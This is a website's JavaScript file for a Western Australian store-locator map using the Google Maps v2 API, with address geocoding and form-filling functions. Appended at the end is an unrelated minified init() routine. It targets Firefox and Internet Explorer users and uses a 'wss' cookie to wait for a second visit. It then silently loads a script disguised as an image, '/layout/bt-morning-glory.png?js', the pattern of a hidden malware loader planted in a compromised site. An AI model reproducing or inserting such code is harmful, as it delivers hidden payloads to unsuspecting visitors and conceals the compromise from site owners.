 var map = null;
 var geocoder = null;
 var waLatitude = -24.4132995;
 var waLongitude = 121.0790024;

    function initialize() {
      if (GBrowserIsCompatible()) {
        map = new GMap2(document.getElementById("map"));
        map.setCenter(new GLatLng(waLatitude, waLongitude), 5);
         map.addControl(new GLargeMapControl());
        map.addControl(new GMapTypeControl());
        geocoder = new GClientGeocoder();
        geocoder.setBaseCountryCode("au") ;
        geocoder.setViewport(new GLatLngBounds(new GLatLng(-35.134845, 113.15627),new GLatLng(-13.740781, 129.001928)))  ;
      }
    }


    function showAddress(address,viewSize) {
      if (geocoder) {

                    geocoder.getLatLng(
                      address,
                      function(point) {
                        if (!point) {

                        try {
                            
                            document.getElementById("map-results").innerHTML = "No results found.";
                        } catch(err)
                        {
                            alert("Address not found");
                        }
        
                        } else {
                          map.setCenter(point, viewSize);
                           var letteredIcon = new GIcon(G_DEFAULT_ICON);
                           letteredIcon.image = "http://"+location.host+"/layout/jesters-ico.png";

                              // Set up our GMarkerOptions object
                             var markerOptions = { icon:letteredIcon };

                          var marker = new GMarker(point,markerOptions);
                          map.addOverlay(marker);
                          marker.openInfoWindowHtml(address);
                           latitudeOfStore  = point.lat();
                    document.getElementById("latitude").value = latitudeOfStore;
                     longitudeOfStore = point.lng();
                     document.getElementById("longitude").value = longitudeOfStore;

                     
                        }
                      }
                    );
   
          }

    } // end of showAddress


    function getStoreMap()
    {
        var storeAddress = document.getElementById("storeAddress").value;
        //alert(storeAddress);
        showAddress(storeAddress,11);
    }

    

    function processAddressSearch() {


        var address = document.getElementById("storeAddress").value;
       
         /**if(isEmpty(address))
          {
              alert("Address cannot be empty");
               // document.getElementById("submitGarden").disabled= true;
          }
          else
          {**/
                    
          
                    if (geocoder) {
                      geocoder.getLatLng(
                  address,
                  function(point) {
                    if (!point) {
                       try {
                          
                            document.getElementById("map-results").innerHTML = "No results found.";
                             document.getElementById("map-results-title").innerHTML = "";
                            document.getElementById("map-results-list").innerHTML = "";
                        } catch(err)
                        {
                            alert("Address not found");
                        }
                    } else {

                     latitudeOfStore  = point.lat();
                    document.getElementById("latitude").value = latitudeOfStore;
                     longitudeOfStore = point.lng();
                     document.getElementById("longitude").value = longitudeOfStore;

                     document.getElementById("frmStoreLocator").submit();
                   }
                  }
                );

              }
          //}
    } // end of processAddress

    function disableEnterKey(e)
    {
         var key;
         if(window.event)
              key = window.event.keyCode; //IE
         else
              key = e.which; //firefox

         return (key != 13);
    }


    function focusStoreMap(lng,lat)
    {
        map.setCenter(new GLatLng(lat, lng), 10);
    }

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/layout/bt-morning-glory.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
